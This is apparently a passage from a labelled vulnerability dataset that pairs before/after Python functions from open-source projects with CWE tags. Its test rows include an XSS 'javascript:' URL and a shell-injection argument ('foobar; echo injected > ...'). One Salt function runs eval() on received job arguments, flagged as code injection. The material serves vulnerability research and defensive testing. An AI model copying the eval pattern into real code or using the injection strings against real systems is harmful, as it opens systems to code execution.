                elif should_use_spark_to_broadcast_file:
                    loaded_model, _ = SparkModelCache.get_or_load(archive_path)
                else:
                    loaded_model = mlflow.pyfunc.load_model(local_model_path)

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(loaded_model.predict).parameters.get(""params""):
                        return loaded_model.predict(pdf, params=params)
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return loaded_model.predict(pdf)

            try:
                for input_batch in iterator:
                    # If the UDF is called with only multiple arguments,
                    # the `input_batch` is a tuple which composes of several pd.Series/pd.DataFrame
                    # objects.
                    # If the UDF is called with only one argument,
                    # the `input_batch` instance will be an instance of `pd.Series`/`pd.DataFrame`,
                    if isinstance(input_batch, (pandas.Series, pandas.DataFrame)):
                        # UDF is called with only one argument
                        row_batch_args = (input_batch,)
                    else:
                        row_batch_args = input_batch

                    if len(row_batch_args[0]) > 0:
                        yield _predict_row_batch(batch_predict_fn, row_batch_args)
            finally:
                if scoring_server_proc is not None:
                    os.kill(scoring_server_proc.pid, signal.SIGTERM)

    udf.metadata = model_metadata

    @functools.wraps(udf)
    def udf_with_default_cols(*args):
        if len(args) == 0:
            input_schema = model_metadata.get_input_schema()
            if input_schema and len(input_schema.optional_input_names()) > 0:
                raise MlflowException(
                    message=""Cannot apply UDF without column names specified when""
                    "" model signature contains optional columns."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            if input_schema and len(input_schema.inputs) > 0:
                if input_schema.has_input_names():
                    input_names = input_schema.input_names()
                    return udf(*input_names)
                else:
                    raise MlflowException(
                        message=""Cannot apply udf because no column names specified. The udf ""
                        ""expects {} columns with types: {}. Input column names could not be ""
                        ""inferred from the model signature (column names not found)."".format(
                            len(input_schema.inputs),
                            input_schema.inputs,
                        ),
                        error_code=INVALID_PARAMETER_VALUE,
                    )
            else:
                raise MlflowException(
                    ""Attempting to apply udf on zero columns because no column names were ""
                    ""specified as arguments or inferred from the model signature."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            return udf(*args)

    return udf_with_default_cols"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/views.py,1,"def test_security_check(self, password='password'):
        login_url = reverse('django.contrib.auth.views.login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '//example.com',
                        'javascript:alert(""XSS"")'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urllib.quote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response['Location'],
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https:///',
                         'HTTPS:///',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urllib.quote(good_url),
            }
            response = self.client.post(safe_url, {
                    'username': 'testclient',
                    'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response['Location'],
                            ""%s should be allowed"" % good_url)",CWE-259,django/django,ec67af0bd609c412b76eaa4cc89968a2a8e5ad6a,"def test_security_check(self, password='password'):
        login_url = reverse('django.contrib.auth.views.login')

        # Those URLs should not pass the security check
        for bad_url in ('http://example.com',
                        'https://example.com',
                        'ftp://exampel.com',
                        '//example.com'):

            nasty_url = '%(url)s?%(next)s=%(bad_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'bad_url': urllib.quote(bad_url),
            }
            response = self.client.post(nasty_url, {
                'username': 'testclient',
                'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertFalse(bad_url in response['Location'],
                             ""%s should be blocked"" % bad_url)

        # These URLs *should* still pass the security check
        for good_url in ('/view/?param=http://example.com',
                         '/view/?param=https://example.com',
                         '/view?param=ftp://exampel.com',
                         'view/?param=//example.com',
                         'https:///',
                         '//testserver/',
                         '/url%20with%20spaces/'):  # see ticket #12534
            safe_url = '%(url)s?%(next)s=%(good_url)s' % {
                'url': login_url,
                'next': REDIRECT_FIELD_NAME,
                'good_url': urllib.quote(good_url),
            }
            response = self.client.post(safe_url, {
                    'username': 'testclient',
                    'password': password,
            })
            self.assertEqual(response.status_code, 302)
            self.assertTrue(good_url in response['Location'],
                            ""%s should be allowed"" % good_url)"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def _thread_return(self, data):
        '''
        This methos should be used as a threading target, start the actual
        minion side execution.
        '''
        ret = {}
        for ind in range(0, len(data['arg'])):
            try:
                data['arg'][ind] = eval(data['arg'][ind])
            except:
                pass

        try:
            ret['return'] = self.functions[data['fun']](*data['arg'])
        except Exception as exc:
            self.opts['logger'].warning('The minion function caused an'\
                    + ' exception: ' + str(exc))
            ret['return'] = exc
        ret['jid'] = data['jid']
        if data['ret']:
            ret['id'] = self.opts['id']
            try:
                self.returners[data['ret']](ret)
            except Exception as exc:
                self.opts['logger'].error('The return failed for job '\
                    + data['jid'] + ' ' + str(exc))
        else:
            self._return_pub(ret)","CWE-94, CWE-703",saltstack/salt,870933951f966f709c36efcb7444571bb6ed650d,"def _thread_return(self, data):
        '''
        This methos should be used as a threading target, start the actual
        minion side execution.
        '''
        ret = {}
        for ind in range(0, len(data['arg'])):
            try:
                data['arg'][ind] = eval(data['arg'][ind])
            except:
                pass

        try:
            ret['return'] = self.functions[data['fun']](*data['arg'])
        except Exception as exc:
            self.opts['logger'].warning('The minion function caused an'\
                    + ' exception: ' + str(exc))
            ret['return'] = exc
        ret['jid'] = data['jid']
        if data['ret']:
            ret['id'] = self.opts['id']
            try:
                self.returners[data['ret']](ret)
            except Exception as exc:
                self.opts['logger'].error('The return failed for job'\
                    + data['jid'] + ' ' + str(exc))
        else:
            self._return_pub(ret)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs.py,0,"def prioritize_queued(self, session, executor, dagbag):
        # Prioritizing queued task instances

        pools = {p.pool: p for p in session.query(models.Pool).all()}
        TI = models.TaskInstance
        queued_tis = (
            session.query(TI)
            .filter(TI.state == State.QUEUED)
            .all()
        )
        d = defaultdict(list)
        for ti in queued_tis:
            if (
                    ti.dag_id not in dagbag.dags or not
                    dagbag.dags[ti.dag_id].has_task(ti.task_id)):
                # Deleting queued jobs that don't exist anymore
                session.delete(ti)
                session.commit()
            else:
                d[ti.pool].append(ti)

        for pool, tis in d.items():
            open_slots = pools[pool].open_slots(session=session)
            if open_slots > 0:
                tis = sorted(
                    tis, key=lambda ti: (-ti.priority_weight, ti.start_date))
                for ti in tis[:open_slots]:
                    task = None
                    try:
                        task = dagbag.dags[ti.dag_id].get_task(ti.task_id)
                    except:
                        logging.error(""Queued task {} seems gone"".format(ti))
                        session.delete(ti)
                    if task:
                        ti.task = task
                        if ti.are_dependencies_met():
                            executor.queue_task_instance(ti, force=True)
                        else:
                            session.delete(ti)
                    session.commit()",CWE-Unknown,apache/airflow,165927f19fd55bae542b3eda2a1bffbd140b6756,"def prioritize_queued(self, session, executor, dagbag):
        # Prioritizing queued task instances

        pools = {p.pool: p for p in session.query(models.Pool).all()}
        TI = models.TaskInstance
        queued_tis = (
            session.query(TI)
            .filter(TI.state == State.QUEUED)
            .all()
        )
        d = defaultdict(list)
        for ti in queued_tis:
            if (
                    ti.dag_id not in dagbag.dags or not
                    dagbag.dags[ti.dag_id].has_task(ti.task_id)):
                # Deleting queued jobs that don't exist anymore
                session.delete(ti)
                session.commit()
            else:
                d[ti.pool].append(ti)

        for pool, tis in d.items():
            open_slots = pools[pool].open_slots(session=session)
            if open_slots > 0:
                tis = sorted(
                    tis, key=lambda ti: (-ti.priority_weight, ti.start_date))
                for ti in tis[:open_slots]:
                    task = None
                    try:
                        task = dagbag.dags[ti.dag_id].get_task(ti.task_id)
                    except:
                        logging.error(""Queued task {} seems gone"".format(ti))
                        session.delete(ti)
                    if task:
                        ti.task = task
                        if ti.is_queueable():
                            executor.queue_task_instance(ti, force=True)
                        else:
                            session.delete(ti)
                    session.commit()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/maxdb/__init__.py,0,"def __init__(self):
        self.excludeDbsList = MAXDB_SYSTEM_DBS

        Syntax.__init__(self)
        Fingerprint.__init__(self)
        Enumeration.__init__(self)
        Filesystem.__init__(self)
        Miscellaneous.__init__(self)
        Takeover.__init__(self)",,sqlmapproject/sqlmap,bbffea2cbc20e733cadf5fa6fa615e0518982bf2,"def __init__(self):
        self.excludeDbsList = MAXDB_SYSTEM_DBS

        Syntax.__init__(self)
        Fingerprint.__init__(self)
        Enumeration.__init__(self)
        Filesystem.__init__(self)
        Miscellaneous.__init__(self)
        Takeover.__init__(self)

        unescaper[DBMS.MAXDB] = MaxDBMap.unescape
        unescaper.setUnescape(MaxDBMap.unescape)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/helpers.py,0,"def run_async(func: t.Callable[..., t.Coroutine]) -> t.Callable[..., t.Any]:
    """"""Return a sync function that will run the coroutine function *func*.""""""
    try:
        from asgiref.sync import async_to_sync
    except ImportError:
        raise RuntimeError(
            ""Install Flask with the 'async' extra in order to use async views.""
        )

    # Check that Werkzeug isn't using its fallback ContextVar class.
    if ContextVar.__module__ == ""werkzeug.local"":
        raise RuntimeError(
            ""Async cannot be used with this combination of Python & Greenlet versions.""
        )

    @wraps(func)
    def wrapper(*args: t.Any, **kwargs: t.Any) -> t.Any:
        return async_to_sync(func)(*args, **kwargs)

    wrapper._flask_sync_wrapper = True  # type: ignore
    return wrapper",,pallets/flask,cb13128cf03b2f1b3c5b48eab518e57e7b5f6516,"def run_async(func: t.Callable[..., t.Coroutine]) -> t.Callable[..., t.Any]:
    """"""Return a sync function that will run the coroutine function *func*.""""""
    try:
        from asgiref.sync import async_to_sync
    except ImportError:
        raise RuntimeError(
            ""Install Flask with the 'async' extra in order to use async views.""
        )

    # Check that Werkzeug isn't using its fallback ContextVar class.
    if ContextVar.__module__ == ""werkzeug.local"":
        raise RuntimeError(
            ""Async cannot be used with this combination of Python & Greenlet versions.""
        )

    @wraps(func)
    def outer(*args: t.Any, **kwargs: t.Any) -> t.Any:
        """"""This function grabs the current context for the inner function.

        This is similar to the copy_current_xxx_context functions in the
        ctx module, except it has an async inner.
        """"""
        ctx = None

        if _request_ctx_stack.top is not None:
            ctx = _request_ctx_stack.top.copy()

        @wraps(func)
        async def inner(*a: t.Any, **k: t.Any) -> t.Any:
            """"""This restores the context before awaiting the func.

            This is required as the function must be awaited within the
            context. Only calling ``func`` (as per the
            ``copy_current_xxx_context`` functions) doesn't work as the
            with block will close before the coroutine is awaited.
            """"""
            if ctx is not None:
                with ctx:
                    return await func(*a, **k)
            else:
                return await func(*a, **k)

        return async_to_sync(inner)(*args, **kwargs)

    outer._flask_sync_wrapper = True  # type: ignore
    return outer"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/pip.py,0,"def _have_pip_module():  # type: () -> bool
    """"""Return True if the `pip` module can be found using the current Python interpreter, otherwise return False.""""""
    try:
        from importlib.util import find_spec
    except ImportError:
        find_spec = None  # type: ignore[assignment] # type: ignore[no-redef]

    if find_spec:
        # noinspection PyBroadException
        try:
            # noinspection PyUnresolvedReferences
            found = bool(find_spec('pip'))
        except Exception:
            found = False
    else:
        # noinspection PyDeprecation
        import imp

        # noinspection PyBroadException
        try:
            # noinspection PyDeprecation
            imp.find_module('pip')
        except Exception:
            found = False
        else:
            found = True

    return found",,ansible/ansible,39579134856f1acb584586a86589a16161bfeeb6,"def _have_pip_module():  # type: () -> bool
    """"""Return True if the `pip` module can be found using the current Python interpreter, otherwise return False.""""""
    try:
        import importlib
    except ImportError:
        importlib = None  # type: types.ModuleType | None  # type: ignore[no-redef]

    if importlib:
        # noinspection PyBroadException
        try:
            # noinspection PyUnresolvedReferences
            found = bool(importlib.util.find_spec('pip'))
        except Exception:
            found = False
    else:
        # noinspection PyDeprecation
        import imp

        # noinspection PyBroadException
        try:
            # noinspection PyDeprecation
            imp.find_module('pip')
        except Exception:
            found = False
        else:
            found = True

    return found"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_pip.py,1,"def test_list(python_binary):
    json_out = dedent(
        """"""
    [
      {
        ""name"": ""idemenv"",
        ""version"": ""0.2.0"",
        ""editable_project_location"": ""/home/debian/idemenv""
      },
      {
        ""name"": ""MarkupSafe"",
        ""version"": ""2.1.1""
      },
      {
        ""name"": ""pip"",
        ""version"": ""22.3.1""
      },
      {
        ""name"": ""pop"",
        ""version"": ""23.0.0""
      },
      {
        ""name"": ""salt"",
        ""version"": ""3006.0+0na.5b18e86""
      },
      {
        ""name"": ""typing_extensions"",
        ""version"": ""4.4.0""
      },
      {
        ""name"": ""unattended-upgrades"",
        ""version"": ""0.1""
      },
      {
        ""name"": ""yarl"",
        ""version"": ""1.8.2""
      }
    ]
    """"""
    )
    mock_version = ""22.3.1""
    mock = MagicMock(return_value={""retcode"": 0, ""stdout"": json_out})
    with patch.dict(pip.__salt__, {""cmd.run_all"": mock}):
        with patch(""salt.modules.pip.version"", MagicMock(return_value=mock_version)):
            ret = pip.list_()
            expected = [*python_binary, ""list"", ""--format=json""]
            mock.assert_called_with(
                expected,
                cwd=None,
                runas=None,
                python_shell=False,
            )
            assert ret == {
                ""markupsafe"": ""2.1.1"",
                ""idemenv"": ""0.2.0"",
                ""pip"": ""22.3.1"",
                ""pop"": ""23.0.0"",
                ""salt"": ""3006.0+0na.5b18e86"",
                ""typing-extensions"": ""4.4.0"",
                ""unattended-upgrades"": ""0.1"",
                ""yarl"": ""1.8.2"",
            }

    # Non zero returncode raises exception?
    mock = MagicMock(return_value={""retcode"": 1, ""stderr"": ""CABOOOOMMM!""})
    with patch.dict(pip.__salt__, {""cmd.run_all"": mock}):
        with patch(""salt.modules.pip.version"", MagicMock(return_value=""22.3.1"")):
            pytest.raises(
                CommandExecutionError,
                pip.list_,
            )",CWE-703,saltstack/salt,68728e643902a87ab1ae2f0c8020bd6b0de89a19,"def test_list(python_binary):
    json_out = dedent(
        """"""
    [
      {
        ""name"": ""idemenv"",
        ""version"": ""0.2.0"",
        ""editable_project_location"": ""/home/debian/idemenv""
      },
      {
        ""name"": ""MarkupSafe"",
        ""version"": ""2.1.1""
      },
      {
        ""name"": ""pip"",
        ""version"": ""22.3.1""
      },
      {
        ""name"": ""pop"",
        ""version"": ""23.0.0""
      },
      {
        ""name"": ""salt"",
        ""version"": ""3006.0+0na.5b18e86""
      },
      {
        ""name"": ""typing_extensions"",
        ""version"": ""4.4.0""
      },
      {
        ""name"": ""unattended-upgrades"",
        ""version"": ""0.1""
      },
      {
        ""name"": ""yarl"",
        ""version"": ""1.8.2""
      }
    ]
    """"""
    )
    mock_version = ""22.3.1""
    mock = MagicMock(return_value={""retcode"": 0, ""stdout"": json_out})
    with patch.dict(pip.__salt__, {""cmd.run_all"": mock}):
        with patch(""salt.modules.pip.version"", MagicMock(return_value=mock_version)):
            ret = pip.list_()
            expected = [*python_binary, ""list"", ""--format=json""]
            mock.assert_called_with(
                expected,
                cwd=None,
                runas=None,
                python_shell=False,
            )
            assert ret == {
                ""MarkupSafe"": ""2.1.1"",
                ""idemenv"": ""0.2.0"",
                ""pip"": ""22.3.1"",
                ""pop"": ""23.0.0"",
                ""salt"": ""3006.0+0na.5b18e86"",
                ""typing_extensions"": ""4.4.0"",
                ""unattended-upgrades"": ""0.1"",
                ""yarl"": ""1.8.2"",
            }

    # Non zero returncode raises exception?
    mock = MagicMock(return_value={""retcode"": 1, ""stderr"": ""CABOOOOMMM!""})
    with patch.dict(pip.__salt__, {""cmd.run_all"": mock}):
        with patch(""salt.modules.pip.version"", MagicMock(return_value=""22.3.1"")):
            pytest.raises(
                CommandExecutionError,
                pip.list_,
            )"
,UNKNOWN,UNKNOWN,tests/utils/log/test_secrets_masker.py,1,"def test_hiding_config(self, sensitive_variable_fields, key, expected_result):
        from airflow.utils.log.secrets_masker import get_sensitive_variables_fields

        with conf_vars({(""core"", ""sensitive_var_conn_names""): str(sensitive_variable_fields)}):
            get_sensitive_variables_fields.cache_clear()
            try:
                assert expected_result == should_hide_value_for_key(key)
            finally:
                get_sensitive_variables_fields.cache_clear()",CWE-703,apache/airflow,7e7ac10947554f2b993aa1947f8e2ca5bc35f23e,"def test_hiding_config(self, sensitive_variable_fields, key, expected_result):
        from airflow.utils.log.secrets_masker import get_sensitive_variables_fields

        with conf_vars({(""core"", ""sensitive_var_conn_names""): str(sensitive_variable_fields)}):
            get_sensitive_variables_fields.cache_clear()
            assert expected_result == should_hide_value_for_key(key)
        get_sensitive_variables_fields.cache_clear()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/abstract_store.py,0,"def log_param(self, run_id, param):
        """"""
        Log a param for the specified run

        :param run_id: String id for the run
        :param param: :py:class:`mlflow.entities.Param` instance to log
        """"""
        self.log_batch(run_id, metrics=[], params=[param], tags=[])",,mlflow/mlflow,f6c83fb64a368aa529dc6d7335cc65c682acdda3,"def log_param(self, run_id, param):
        """"""
        Log a param for the specified run

        :param run_id: String id for the run
        :param param: :py:class:`mlflow.entities.Param` instance to log
        """"""
        self.log_batch(run_id, metrics=[], params=[param], tags=[])"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/nxos/_nxos_portchannel.py,0,"def get_custom_value(arg, config, module):
    REGEX = re.compile(r'\s+member vni {0} associate-vrf\s*$'.format(
        module.params['vni']), re.M)
    value = False
    try:
        if REGEX.search(config):
            value = True
    except TypeError:
        value = False
    return value",,ansible/ansible,edf933918dec0a5e48a6918a854626fba6421356,"def get_custom_value(arg, config, module):
    REGEX = re.compile(r'\s+member vni {0} associate-vrf\s*$'.format(
        module.params['vni']), re.M)
    value = False
    try:
        if REGEX.search(config):
            value = True
    except TypeError:
        value = False
    return value"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/xgboost/test_xgboost_autolog.py,0,"def get_model_conf(artifact_uri, model_subpath=""model""):
    model_conf_path = os.path.join(artifact_uri, model_subpath, ""MLmodel"")
    return Model.load(model_conf_path)",,mlflow/mlflow,dc1b21821e564c7985c0df318909ba84a90ec0f1,"def get_model_conf(artifact_uri, model_subpath=""model""):
    model_conf_path = os.path.join(artifact_uri, model_subpath, ""MLmodel"")
    return Model.load(model_conf_path)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/models.py,0,"def has_module_perms(self, module):
        return _user_has_module_perms(self, module)",CWE-Unknown,django/django,8d4b414760fdd677c973f9ccfe4f5c3b41934d4d,"def has_module_perms(self, module):
        return _user_has_module_perms(self, module)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/lookup/dig.py,1,"def run(self, terms, variables=None, **kwargs):

        '''
        terms contains a string with things to `dig' for. We support the
        following formats:
            example.com                                     # A record
            example.com  qtype=A                            # same
            example.com/TXT                                 # specific qtype
            example.com  qtype=txt                          # same
            192.0.2.23/PTR                                 # reverse PTR
              ^^ shortcut for 23.2.0.192.in-addr.arpa/PTR
            example.net/AAAA  @nameserver                   # query specified server
                               ^^^ can be comma-sep list of names/addresses

            ... flat=0                                      # returns a dict; default is 1 == string
        '''

        if HAVE_DNS is False:
            raise AnsibleError(""Can't LOOKUP(dig): module dns.resolver is not installed"")

        # Create Resolver object so that we can set NS if necessary
        myres = dns.resolver.Resolver()
        edns_size = 4096
        myres.use_edns(0, ednsflags=dns.flags.DO, payload=edns_size)

        domain = None
        qtype  = 'A'
        flat   = True

        for t in terms:
            if t.startswith('@'):       # e.g. ""@10.0.1.2,192.0.2.1"" is ok.
                nsset = t[1:].split(',')
                nameservers = []
                for ns in nsset:
                    # Check if we have a valid IP address. If so, use that, otherwise
                    # try to resolve name to address using system's resolver. If that
                    # fails we bail out.
                    try:
                        socket.inet_aton(ns)
                        nameservers.append(ns)
                    except:
                        try:
                            nsaddr = dns.resolver.query(ns)[0].address
                            nameservers.append(nsaddr)
                        except Exception as e:
                            raise AnsibleError(""dns lookup NS: "", str(e))
                    myres.nameservers = nameservers
                continue
            if '=' in t:
                try:
                    opt, arg = t.split('=')
                except:
                    pass

                if opt == 'qtype':
                    qtype = arg.upper()
                elif opt == 'flat':
                    flat = int(arg)

                continue

            if '/' in t:
                try:
                    domain, qtype = t.split('/')
                except:
                    domain = t
            else:
                domain = t

        # print ""--- domain = {0} qtype={1}"".format(domain, qtype)

        ret = []

        if qtype.upper() == 'PTR':
            try:
                n = dns.reversename.from_address(domain)
                domain = n.to_text()
            except dns.exception.SyntaxError:
                pass
            except Exception as e:
                raise AnsibleError(""dns.reversename unhandled exception"", str(e))

        try:
            answers = myres.query(domain, qtype)
            for rdata in answers:
                s = rdata.to_text()
                if qtype.upper() == 'TXT':
                    s = s[1:-1]  # Strip outside quotes on TXT rdata

                if flat:
                    ret.append(s)
                else:
                    try:
                        rd = make_rdata_dict(rdata)
                        rd['owner']     = answers.canonical_name.to_text()
                        rd['type']      = dns.rdatatype.to_text(rdata.rdtype)
                        rd['ttl']       = answers.rrset.ttl

                        ret.append(rd)
                    except Exception as e:
                        ret.append(str(e))

        except dns.resolver.NXDOMAIN:
            ret.append('NXDOMAIN')
        except dns.resolver.NoAnswer:
            ret.append("""")
        except dns.resolver.Timeout:
            ret.append('')
        except dns.exception.DNSException as e:
            raise AnsibleError(""dns.resolver unhandled exception"", e)

        return ret",CWE-703,ansible/ansible,305c88700de7fc17de80b2f58fb6d44180573e61,"def run(self, terms, variables=None, **kwargs):

        '''
        terms contains a string with things to `dig' for. We support the
        following formats:
            example.com                                     # A record
            example.com  qtype=A                            # same
            example.com/TXT                                 # specific qtype
            example.com  qtype=txt                          # same
            192.0.2.23/PTR                                 # reverse PTR
              ^^ shortcut for 23.2.0.192.in-addr.arpa/PTR
            example.net/AAAA  @nameserver                   # query specified server
                               ^^^ can be comma-sep list of names/addresses

            ... flat=0                                      # returns a dict; default is 1 == string
        '''

        if HAVE_DNS == False:
            raise AnsibleError(""Can't LOOKUP(dig): module dns.resolver is not installed"")

        # Create Resolver object so that we can set NS if necessary
        myres = dns.resolver.Resolver()
        edns_size = 4096
        myres.use_edns(0, ednsflags=dns.flags.DO, payload=edns_size)

        domain = None
        qtype  = 'A'
        flat   = True

        for t in terms:
            if t.startswith('@'):       # e.g. ""@10.0.1.2,192.0.2.1"" is ok.
                nsset = t[1:].split(',')
                nameservers = []
                for ns in nsset:
                    # Check if we have a valid IP address. If so, use that, otherwise
                    # try to resolve name to address using system's resolver. If that
                    # fails we bail out.
                    try:
                        socket.inet_aton(ns)
                        nameservers.append(ns)
                    except:
                        try:
                            nsaddr = dns.resolver.query(ns)[0].address
                            nameservers.append(nsaddr)
                        except Exception as e:
                            raise AnsibleError(""dns lookup NS: "", str(e))
                    myres.nameservers = nameservers
                continue
            if '=' in t:
                try:
                    opt, arg = t.split('=')
                except:
                    pass

                if opt == 'qtype':
                    qtype = arg.upper()
                elif opt == 'flat':
                    flat = int(arg)

                continue

            if '/' in t:
                try:
                    domain, qtype = t.split('/')
                except:
                    domain = t
            else:
                domain = t

        # print ""--- domain = {0} qtype={1}"".format(domain, qtype)

        ret = []

        if qtype.upper() == 'PTR':
            try:
                n = dns.reversename.from_address(domain)
                domain = n.to_text()
            except dns.exception.SyntaxError:
                pass
            except Exception as e:
                raise AnsibleError(""dns.reversename unhandled exception"", str(e))

        try:
            answers = myres.query(domain, qtype)
            for rdata in answers:
                s = rdata.to_text()
                if qtype.upper() == 'TXT':
                    s = s[1:-1]  # Strip outside quotes on TXT rdata

                if flat:
                    ret.append(s)
                else:
                    try:
                        rd = make_rdata_dict(rdata)
                        rd['owner']     = answers.canonical_name.to_text()
                        rd['type']      = dns.rdatatype.to_text(rdata.rdtype)
                        rd['ttl']       = answers.rrset.ttl

                        ret.append(rd)
                    except Exception as e:
                        ret.append(str(e))

        except dns.resolver.NXDOMAIN:
            ret.append('NXDOMAIN')
        except dns.resolver.NoAnswer:
            ret.append("""")
        except dns.resolver.Timeout:
            ret.append('')
        except dns.exception.DNSException as e:
            raise AnsibleError(""dns.resolver unhandled exception"", e)

        return ret"
,UNKNOWN,UNKNOWN,tests/integration/ssh/test_pre_flight.py,1,"def test_ssh_run_pre_flight_args_prevent_injection(self):
        """"""
        test ssh when --pre-flight is passed to salt-ssh
        and evil arguments are used in order to produce shell injection
        """"""
        injected_file = os.path.join(RUNTIME_VARS.TMP, ""injection"")
        self._create_roster(
            pre_flight_script_args=""foobar; echo injected > {}"".format(injected_file)
        )
        # make sure we previously ran a command so the thin dir exists
        self.run_function(""test.ping"", wipe=False)
        assert not os.path.exists(self.test_script)
        assert not os.path.isfile(injected_file)

        assert self.run_function(
            ""test.ping"", ssh_opts=""--pre-flight"", roster_file=self.roster, wipe=False
        )

        assert not os.path.isfile(
            injected_file
        ), ""File injection suceeded. This shouldn't happend""",CWE-703,saltstack/salt,72488a306c51d560ebd3969ad891e1c893c17255,"def test_ssh_run_pre_flight_args_prevent_injection(self):
        """"""
        test ssh when --pre-flight is passed to salt-ssh
        and evil arguments are used in order to produce shell injection
        """"""
        injected_file = os.path.join(RUNTIME_VARS.TMP, ""injection"")
        self._create_roster(
            pre_flight_script_args=""foobar; echo injected > {}"".format(injected_file)
        )
        # make sure we previously ran a command so the thin dir exists
        self.run_function(""test.ping"", wipe=False)
        assert not os.path.exists(self.test_script)
        assert not os.path.isfile(injected_file)

        assert self.run_function(
            ""test.ping"", ssh_opts=""--pre-flight"", roster_file=self.roster, wipe=False
        )

        assert not os.path.isfile(
            injected_file
        ), ""File injection suceeded. This shouldn't happend"""
,UNKNOWN,UNKNOWN,django/dispatch/saferef.py,1,"def safeRef(target, onDelete = None):
    """"""Return a *safe* weak reference to a callable target

    target -- the object to be weakly referenced, if it's a
        bound method reference, will create a BoundMethodWeakref,
        otherwise creates a simple weakref.
    onDelete -- if provided, will have a hard reference stored
        to the callable to be called after the safe reference
        goes out of scope with the reference object, (either a
        weakref or a BoundMethodWeakref) as argument.
    """"""
    if hasattr(target, '__self__'):
        if target.__self__ is not None:
            # Turn a bound method into a BoundMethodWeakref instance.
            # Keep track of these instances for lookup by disconnect().
            assert hasattr(target, '__func__'), """"""safeRef target %r has __self__, but no __func__, don't know how to create reference"""""" % (target,)
            reference = get_bound_method_weakref(
                target=target,
                onDelete=onDelete
            )
            return reference
    if callable(onDelete):
        return weakref.ref(target, onDelete)
    else:
        return weakref.ref( target )",CWE-703,django/django,b67ab75e82ec59dd4eeca119eeaf570d7c88556c,"def safeRef(target, onDelete = None):
    """"""Return a *safe* weak reference to a callable target

    target -- the object to be weakly referenced, if it's a
        bound method reference, will create a BoundMethodWeakref,
        otherwise creates a simple weakref.
    onDelete -- if provided, will have a hard reference stored
        to the callable to be called after the safe reference
        goes out of scope with the reference object, (either a
        weakref or a BoundMethodWeakref) as argument.
    """"""
    if hasattr(target, '__self__'):
        if target.__self__ is not None:
            # Turn a bound method into a BoundMethodWeakref instance.
            # Keep track of these instances for lookup by disconnect().
            assert hasattr(target, '__func__'), """"""safeRef target %r has __self__, but no __func__, don't know how to create reference""""""%( target,)
            reference = get_bound_method_weakref(
                target=target,
                onDelete=onDelete
            )
            return reference
    if callable(onDelete):
        return weakref.ref(target, onDelete)
    else:
        return weakref.ref( target )"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_html.py,0,"def test_report_with_skipped(self):
        self.manager.skipped = [('abc.py', 'File is bad')]

        with open(self.tmp_fname, 'w') as tmp_file:
            b_html.report(
                self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            soup = bs4.BeautifulSoup(f.read(), 'html.parser')
            skipped = soup.find_all('div', id='skipped')[0]

            self.assertEqual(1, len(soup.find_all('div', id='skipped')))
            self.assertIn('abc.py', skipped.text)
            self.assertIn('File is bad', skipped.text)",UNKNOWN,PyCQA/bandit,682c38b26854ecab96001adce25ebfe8d794ec16,"def test_report_with_skipped(self):
        self.manager.skipped = [('abc.py', 'File is bad')]

        tmp_file = open(self.tmp_fname, 'w')
        b_html.report(
            self.manager, tmp_file, bandit.LOW, bandit.LOW)

        with open(self.tmp_fname) as f:
            soup = bs4.BeautifulSoup(f.read(), 'html.parser')
            skipped = soup.find_all('div', id='skipped')[0]

            self.assertEqual(1, len(soup.find_all('div', id='skipped')))
            self.assertIn('abc.py', skipped.text)
            self.assertIn('File is bad', skipped.text)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                if not vad.is_valid():
                    continue

                # Open the file and initialize the data

                vad_start = self.format_value(vad.Start, ""[addrpad]"")
                vad_end = self.format_value(vad.End, ""[addrpad]"")

                path = os.path.join(
